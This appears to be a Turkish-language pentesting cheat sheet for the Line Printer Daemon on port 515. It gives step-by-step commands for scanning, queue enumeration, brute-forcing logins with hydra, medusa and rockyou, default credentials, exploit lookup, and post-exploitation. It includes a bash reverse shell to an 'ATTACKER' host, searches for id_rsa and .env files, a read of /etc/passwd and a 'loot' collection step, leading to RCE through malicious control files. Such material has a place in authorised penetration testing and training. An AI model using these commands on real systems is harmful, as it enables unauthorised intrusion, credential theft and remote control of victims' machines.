Skip to content

515 - Pentesting Line Printer Daemon (LPD)

LPD print

Line Printer Daemon iş kuyruğu sunar. Bazı implementasyonlar path traversal veya komut enjeksiyonu ile dosya/yazma verir.

  1. 515 doğrula.

  2. Kuyruk adlarını enum et.

  3. Job gönder / traversal dene.

  4. Yazılabilir path → shell.

Terminal window
nmap -Pn -sV -p515 TARGET
Terminal window
nc -nv TARGET 515
Terminal window
enum4linux # related print shares
Terminal window
printf '\x02queue\n' | nc TARGET 515
Terminal window
python3 lpd_exploit.py TARGET
control file macros → command exec on old *nix

Line Printer Daemon (LPD) için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p515 TARGET
Terminal window
nmap -Pn -p515 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:515' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',515));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Line Printer Daemon (LPD)
Terminal window
hydra -L users.txt -P rockyou.txt -s 515 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 515
Terminal window
nmap -p515 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit LPD
Terminal window
msfconsole -q -x 'search LPD; exit'
Terminal window
nuclei -u https://TARGET:515 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:515 -tags tech -silent || true
Terminal window
nc -nv TARGET 515
Terminal window
printf '
' | timeout 3 nc -nv TARGET 515
Terminal window
curl -vk --http1.0 http://TARGET:515/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
queue enum → malicious control file → RCE